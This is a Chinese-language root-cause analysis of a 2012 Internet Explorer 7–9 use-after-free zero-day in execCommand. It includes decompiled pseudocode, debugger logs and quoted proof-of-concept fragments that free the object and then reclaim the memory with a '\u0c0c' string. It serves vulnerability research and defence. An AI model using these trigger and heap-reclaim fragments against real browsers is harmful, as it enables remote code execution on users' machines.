漏洞分析信息
软件版本:ie7 ie8 ie9
分析者 :instruder of code audit labs of vulnhunt.com

漏洞描述
昨天,eromang捕获了一个IE 0day,在他的blog上 http://eromang.zataz.com/2012/09/16/zero-day-season-is-really-not-over-yet/
确认了可导致全补丁的IE7,IE8,IE9 执行代码,并且该0day 攻击已经in the wild. 随后,翰海源对漏洞进行了进一步分析确认。以下为该0day漏洞的分析:

IE的execCommand函数在执行命令事件时,会首先通过AddCommandTarget函数分配相应的CMshtmlEd对象,然后在调用mshtml!CMshtmlEd::Exec();函数进行执行,但是该execCommand函数在添加完对应的事件之后,会立即触发相应的事件函数调用,在相应的事件函数调用中通过document.write(“L”)函数重写html,从而导致ie调用CHTMLEditor::DeleteCommandTarget去释放掉之前申请的CMshtmlEd对象,从而导致后面在执行mshtml!CMshtmlEd::Exec()时触发used after free漏洞。

伪代码

CEditRouter__ExecEditCommand()
{
if(CEditRouter__SetInternalEditHandler())
{
mshtml!CMshtmlEd::Exec();
}
}
CEditRouter__SetInternalEditHandler()
{
CHTMLEditor::AddCommandTarget();
}
CHTMLEditor::AddCommandTarget()
{
int v3; // eax@1
int v4; // ecx@1
int v5; // edi@1
int v6; // esi@1
int result; // eax@4
 
v5 = a1;
v3 = (int)HeapAlloc(g_hProcessHeap, 8u, 0x88u);
v6 = 0;
if ( v3 )
v6 = CMshtmlEd__CMshtmlEd(v4, v3, a2, 0);
}
 
AddCommandTarget()之后立马触发事件调用TestArray函数
 
function TestArray()
 
{
 
document.write("L");
//站位
parent.jifud[L].src = "YMjf\u0c08\u0c0cKDogjsiIejengNEkoPDjfiJDIWUAzdfghjAAuUFGGBSIPPPUDFJKSOQJGH";
}
 
document.write("L")会调用DeleteCommandTarget函数CMshtmlEd对象Release函数
 
int __stdcall CHTMLEditor__DeleteCommandTarget(int a1, struct IUnknown *a2)
{
int v2; // ebx@1
int v3; // edi@1
int v4; // esi@2
 
v2 = a1;
v3 = CHTMLEditor__FindCommandTarget(a2, (int)&a1);
if ( !v3 )
{
v4 = a1;
v3 = CImplPtrAry__DeleteByValue(v2 + 108, a1);
CMshtmlEd::Release();
}
return v3;
}

parent.jifud[L].src 语句进行站位释放掉的内存,具体见下面分析

CEditRouter__SetInternalEditHandler()函数执行完毕之后会调用mshtml!CMshtmlEd::Exec函数执行命令,而CMshtmlEd对象已经释放,从而导致used after free 漏洞

漏洞分析

当poc里面执行document.execCommand(“selectAll”); 语句时,

ie会调用CEditRouter__ExecEditCommand 函数,该函数里面会先调用 CEditRouter__SetInternalEditHandler去 CHTMLEditor::AddCommandTarget
添加对应的命令事件

(采用的vm快照分析,地址每次都是一样:)

申请CMshtmlEd对象

0:008> g
Breakpoint 4 hit
eax=0214be4c ebx=002072a8 ecx=0022d898 edx=00000004 esi=002072a8 edi=0214be4c
eip=6359daaf esp=0214be18 ebp=0214be30 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mshtml!CHTMLEditor::AddCommandTarget+0x1a:
6359daaf ff1564135863    call    dword ptr [mshtml!_imp__HeapAlloc (63581364)] ds:0023:63581364={ntdll!RtlAllocateHeap (7c9300c4)}
0:008> dd esp
0214be18  00150000 00000008 00000088 00000001
 
0:008> g
Breakpoint 5 hit
eax=002385a8 ebx=002072a8 ecx=7c9301db edx=00000088 esi=002072a8 edi=0214be4c
eip=6359dab5 esp=0214be24 ebp=0214be30 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mshtml!CHTMLEditor::AddCommandTarget+0x20:
6359dab5 33f6            xor     esi,esi
 
0:008> dd 002385a8
002385a8  00000000 00000000 00000000 00000000
002385b8  00000000 00000000 00000000 00000000
 
ChildEBP RetAddr  Args to Child
0214be30 6385ac44 00239cf8 02f5e1f0 02e90210 mshtml!CHTMLEditor::AddCommandTarget+0x20
0214be58 637d41c5 00239cf8 02e90210 0214be94 mshtml!CHTMLEditor::GetCommandTarget+0x94
0214be70 637d4091 00239cf8 02e90210 0214be94 mshtml!CHTMLEditorProxy::GetCommandTarget+0x1e
0214be98 637d4355 00000000 0023d6a0 00000001 mshtml!CEditRouter::SetInternalEditHandler+0x64
0214bebc 637be2fc 6361bad0 0000001f 00000002 mshtml!CEditRouter::ExecEditCommand+0xac
0214c278 638afda7 0352a188 6361bad0 0000001f mshtml!CDoc::ExecHelper+0x3c91
0214c298 638ee2a9 0352a188 6361bad0 0000001f mshtml!CDocument::Exec+0x24
0214c2c0 638b167b 037c6940 0000001f 0214000a mshtml!CBase::execCommand+0x50                //execCommand
0214c2f8 638e7445 00000001 037c6940 00000000 mshtml!CDocument::execCommand+0x93
0214c370 636430c9 0352a188 037c3e78 001fbbb0 mshtml!Method_VARIANTBOOLp_BSTR_oDoVARIANTBOOL_o0oVARIANT+0x149
0214c3e4 63643595 0352a188 00000429 00000001 mshtml!CBase::ContextInvokeEx+0x5d1
0214c410 63643832 0352a188 00000429 00000001 mshtml!CBase::InvokeEx+0x25
0214c460 635e1cdc 0352a188 0000000b 00000429 mshtml!DispatchInvokeCollection+0x14b
0214c4a8 63642f30 0352a188 00000429 00000001 mshtml!CDocument::InvokeEx+0xf1
0214c4d0 63642eec 0352a188 00000429 00000001 mshtml!CBase::VersionedInvokeEx+0x20
0214c520 633a6d37 001fb9d0 00000429 00000001 mshtml!PlainInvokeEx+0xea
0214c560 633a6c75 037b0550 00000429 00000409 jscript!IDispatchExInvokeEx2+0xf8
0214c59c 633a9cfe 037b0550 00000409 00000001 jscript!IDispatchExInvokeEx+0x6a
0214c65c 633a9f3c 00000429 00000001 00000000 jscript!InvokeDispatchEx+0x98
0214c690 633a77ff 037b0550 0214c6c4 00000001 jscript!VAR::InvokeByName+0x135

这里填充上面分配的内存

mshtml!CMshtmlEd::CMshtmlEd:
6359de45 8bff            mov     edi,edi
6359de47 55              push    ebp
6359de48 8bec            mov     ebp,esp
6359de4a 52              push    edx
6359de4b 8d4a18          lea     ecx,[edx+18h]
6359de4e c702a49e6363    mov     dword ptr [edx],offset mshtml!CMshtmlEd::`vftable' (63639ea4)
6359de54 e82f000000      call    mshtml!CSpringLoader::CSpringLoader (6359de88)
6359de59 8b4508          mov     eax,dword ptr [ebp+8]
 
0:008> p
eax=002072a8 ebx=002072a8 ecx=002384a0 edx=00238488 esi=00000000 edi=00207334
eip=6359de5c esp=0214bdfc ebp=0214bdfc iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mshtml!CMshtmlEd::CMshtmlEd+0x17:
6359de5c 33c9            xor     ecx,ecx
0:008> dds eax
002072a8  6361c190 mshtml!ATL::CComObject::`vftable'
 
6359de5c 33c9            xor     ecx,ecx
6359de5e 394d0c          cmp     dword ptr [ebp+0Ch],ecx
6359de61 894208          mov     dword ptr [edx+8],eax      填充 CHTMLEditor vtable
 
0:008> g
Breakpoint 2 hit
eax=002072a8 ebx=002072a8 ecx=00000000 edx=002385a8 esi=00000000 edi=0214be4c
eip=6359de64 esp=0214be14 ebp=0214be14 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mshtml!CMshtmlEd::CMshtmlEd+0x1f:
6359de64 0f95c1          setne   cl
 
0:008> dd 002385a8
002385a8  63639ea4 00000000 002072a8 00000000
002385b8  00000000 00000000 00000000 00000000
 
int __userpurge CHTMLEditor__AddCommandTarget(int a1, int a2, int a3)
{
int v3; // eax@1
int v4; // ecx@1
int v5; // edi@1
int v6; // esi@1
int result; // eax@4
 
v5 = a1;
v3 = (int)HeapAlloc(g_hProcessHeap, 8u, 0x88u);
v6 = 0;
if ( v3 )
v6 = CMshtmlEd__CMshtmlEd(v4, v3, a2, 0);
*(_DWORD *)v5 = v6;
………
}
int __fastcall CMshtmlEd__CMshtmlEd(int a1, int a2, int a3, int a4)
{
int v5; // edx@1
 
*(_DWORD *)a2 = &CMshtmlEd___vftable_;
CSpringLoader__CSpringLoader(a2);
*(_DWORD *)(v5 + <img src="http://blog.vulnhunt.com/wp-includes/images/smilies/icon_cool.gif" alt="8)" class="wp-smiley"> = a3;
*(_DWORD *)(v5 + 4) = 1;
*(_DWORD *)(v5 + 132) ^= (*(_DWORD *)(v5 + 132) ^ 2 * (a4 != 0)) & 2;
return v5;
}

上述addCommandTarget函数之后,会触发selectAll事件,该事件对应的注册函数为onselect=’TestArray‘

poc里面的document.write(“L”) 这句触发调用 mshtml!CHTMLEditor::DeleteCommandTarget 函数,将之前CMshtmlEd对象释放掉

bu RtlFreeHeap “.echo free heap;db poi(esp+c) l8;kb;.if(poi(esp+c)==0×002385a8){} .else{g}”

CHTMLEditor::DeleteCommandTarget函数会调用CMshtmlEd::Release函数会释放该对象

int __stdcall CHTMLEditor__DeleteCommandTarget(int a1, struct IUnknown *a2)
{
int v2; // ebx@1
int v3; // edi@1
int v4; // esi@2
 
v2 = a1;
v3 = CHTMLEditor__FindCommandTarget(a2, (int)&a1);
if ( !v3 )
{
v4 = a1;
v3 = CImplPtrAry__DeleteByValue(v2 + 108, a1);
(*(void (__stdcall **)(int))(*(_DWORD *)v4 + 8))(v4); //CMshtmlEd::Release
}
return v3;
}
 
调试log:
 
free heap
002385a8  a4 9e 63 63 00 00 00 00                          ..cc....
ChildEBP RetAddr  Args to Child
0214826c 6375bf26 00150000 00000000 002385a8 ntdll!RtlFreeHeap
02148284 639d53d6 002385a8 002072a8 00000000 mshtml!CMshtmlEd::Release+0x25
0214829c 639d0d30 002385a8 0380e628 00000000 mshtml!CHTMLEditor::DeleteCommandTarget+0x34
021482c8 6385ac12 021482ec 6361c270 002072a8 mshtml!CHTMLEditor::RemoveContainer+0x15f
021482d0 6361c270 002072a8 0000000f 0022db20 mshtml!CHTMLEditor::Notify+0x26
021482ec 6360feb4 002072a8 0000000f 0022db20 mshtml!CHTMLEditorProxy::Notify+0x21
02148308 637e6671 0022db20 00000000 0022d970 mshtml!CDoc::NotifySelection+0x59
02148370 637525ff 0022d970 00000000 00000003 mshtml!COmWindowProxy::SwitchMarkup+0x347
0214846c 637561c5 03818ce8 00000000 00000000 mshtml!CDocument::open+0x417
021484e8 63774271 03818ce8 0380e668 04824fc0 mshtml!CDocument::write+0x7c

poc里面的 parent.jifud[L].src = “YMjf\u0c08\u0c0cKDogjsiIejengNEkoPDjfiJDIWUAzdfghjAAuUFGGBSIPPPUDFJKSOQJGH”; ++L;

语句执行会调用下面过程,申请了这块内存,然后后面进行拷贝poc里面的src内容

0:008> r
eax=00000082 ebx=04827140 ecx=63680000 edx=04827142 esi=00000040 edi=02148560
eip=636560eb esp=02148538 ebp=0214854c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
mshtml!StripCRLF+0x41:
636560eb ff1564135863    call    dword ptr [mshtml!_imp__HeapAlloc (63581364)] ds:0023:63581364={ntdll!RtlAllocateHeap (7c9300c4)}
0:008> dd esp
02148538  00150000 00000000 00000082 002301f8
 
0:008> g
Breakpoint 6 hit
eax=002385a8 ebx=04827140 ecx=7c9301db edx=0000000e esi=00000040 edi=02148560
eip=636560f1 esp=02148544 ebp=0214854c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mshtml!StripCRLF+0x47:
636560f1 85c0            test    eax,eax
0:008> kb
ChildEBP RetAddr  Args to Child
0214854c 63680b40 00000000 00000000 0022f850 mshtml!StripCRLF+0x56
02148564 6368a69f 636509bc 04896ef8 0022f850 mshtml!BASICPROPPARAMS::SetUrlProperty+0x17
02148580 6366906f 0022f850 04896ef8 04894648 mshtml!CImgElement::put_src+0x1b
021485b0 636430c9 0022f850 04894648 036f1580 mshtml!GS_BSTR+0x1ab
02148624 6366418a 0022f850 000003eb 00000001 mshtml!CBase::ContextInvokeEx+0x5d1
02148674 63686ed8 0022f850 000003eb 00000001 mshtml!CElement::ContextInvokeEx+0x9d
021486a0 63642eec 0022f850 000003eb 00000001 mshtml!CImgElement::VersionedInvokeEx+0x64
021486f0 633a6d37 002254e0 000003eb 00000001 mshtml!PlainInvokeEx+0xea
02148730 633a6c75 04892c30 000003eb 00000409 jscript!IDispatchExInvokeEx2+0xf8
0214876c 633a9cfe 04892c30 00000409 00000004 jscript!IDispatchExInvokeEx+0x6a
0214882c 633a9f3c 000003eb 00000004 00000000 jscript!InvokeDispatchEx+0x98
02148860 633a77ff 04892c30 02148894 0000000c jscript!VAR::InvokeByName+0x135
021488a8 633a75bf 04892c30 0000000c 00000000 jscript!VAR::InvokeDispName+0x7a
02148a3c 633a5ab0 02148a54 02148b9c 02148b9c jscript!CScriptRuntime::Run+0x1f27
02148b24 633a59f7 02148b9c 00000000 009afe00 jscript!ScrFncObj::CallWithFrameOnStack+0xff
02148b70 633a5743 02148b9c 00000000 009afe00 jscript!ScrFncObj::Call+0x8f
02148bec 633a8bc7 04897c30 0214afe8 00000000 jscript!CSession::Execute+0x175
02148cd4 633a8a35 04897c30 00000000 00000001 jscript!NameTbl::InvokeDef+0x1b8
02148d58 633a6d37 04897c30 00000000 00000001 jscript!NameTbl::InvokeEx+0x129
02148d98 633a6c75 04892c30 00000000 00000001 jscript!IDispatchExInvokeEx2+0xf8
 
signed int __userpurge StripCRLF(int a1, unsigned __int16 *a2, unsigned __int16 **a3)
//站位 拷贝
buffer = HeapAlloc(g_hProcessHeap, 0, 2 * v7 + 2);
*(_DWORD *)a1 = buffer;
if ( buffer )
{
while ( v7 > 0 )
{
v8 = *v3;
if ( *v3 != '\r' )
{
if ( v8 != '\n' )
{
*(_WORD *)buffer = v8;
buffer = (char *)buffer + 2;
}
}
++v3;
--v7;
}
*(_WORD *)buffer = 0;
}

上述流程之后,会执行到mshtml!CMshtmlEd::Exec函数,而CMshtmlEd已经释放然后重新站位,从而导致了任意代码执行

Breakpoint 1 hit
eax=00000000 ebx=0000001f ecx=00206910 edx=0000000d esi=00000000 edi=00237ee0
eip=637d464b esp=0214be80 ebp=0214be8c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
mshtml!CMshtmlEd::Exec+0x131:
637d464b 8b7f08          mov     edi,dword ptr [edi+8] ds:0023:00237ee8=0c0c0c08
0:008> kb
ChildEBP RetAddr  Args to Child
0214be8c 637d4387 00237ee0 6361bad0 0000001f mshtml!CMshtmlEd::Exec+0x131
0214bebc 637be2fc 6361bad0 0000001f 00000002 mshtml!CEditRouter::ExecEditCommand+0xd6
0214c278 638afda7 036fee20 6361bad0 0000001f mshtml!CDoc::ExecHelper+0x3c91
0214c298 638ee2a9 036fee20 6361bad0 0000001f mshtml!CDocument::Exec+0x24
0214c2c0 638b167b 04896e80 0000001f 0214000a mshtml!CBase::execCommand+0x50
0214c2f8 638e7445 00000001 04896e80 00000000 mshtml!CDocument::execCommand+0x93
0214c370 636430c9 036fee20 04894320 036fe9a0 mshtml!Method_VARIANTBOOLp_BSTR_oDoVARIANTBOOL_o0oVARIANT+0x149
0214c3e4 63643595 036fee20 00000429 00000001 mshtml!CBase::ContextInvokeEx+0x5d1
0214c410 63643832 036fee20 00000429 00000001 mshtml!CBase::InvokeEx+0x25
0214c460 635e1cdc 036fee20 0000000b 00000429 mshtml!DispatchInvokeCollection+0x14b
0214c4a8 63642f30 036fee20 00000429 00000001 mshtml!CDocument::InvokeEx+0xf1
0214c4d0 63642eec 036fee20 00000429 00000001 mshtml!CBase::VersionedInvokeEx+0x20
0214c520 633a6d37 0019ff98 00000429 00000001 mshtml!PlainInvokeEx+0xea
0214c560 633a6c75 04892c30 00000429 00000409 jscript!IDispatchExInvokeEx2+0xf8
0214c59c 633a9cfe 04892c30 00000409 00000001 jscript!IDispatchExInvokeEx+0x6a
0214c65c 633a9f3c 00000429 00000001 00000000 jscript!InvokeDispatchEx+0x98
0214c690 633a77ff 04892c30 0214c6c4 00000001 jscript!VAR::InvokeByName+0x135
0214c6dc 633a85c7 04892c30 00000001 00000000 jscript!VAR::InvokeDispName+0x7a
0214c708 633a9c0b 04892c30 00000000 00000001 jscript!VAR::InvokeByDispID+0xce
0214c8a4 633a5ab0 0214c8bc 0214ca04 0214ca04 jscript!CScriptRuntime::Run+0x2989

Crash info

缓解措施
暂时可用其他浏览器替代,直到微软修补该漏洞

感谢binjo 大东 :)

[via 瀚海源]

源链接

Hacking more

...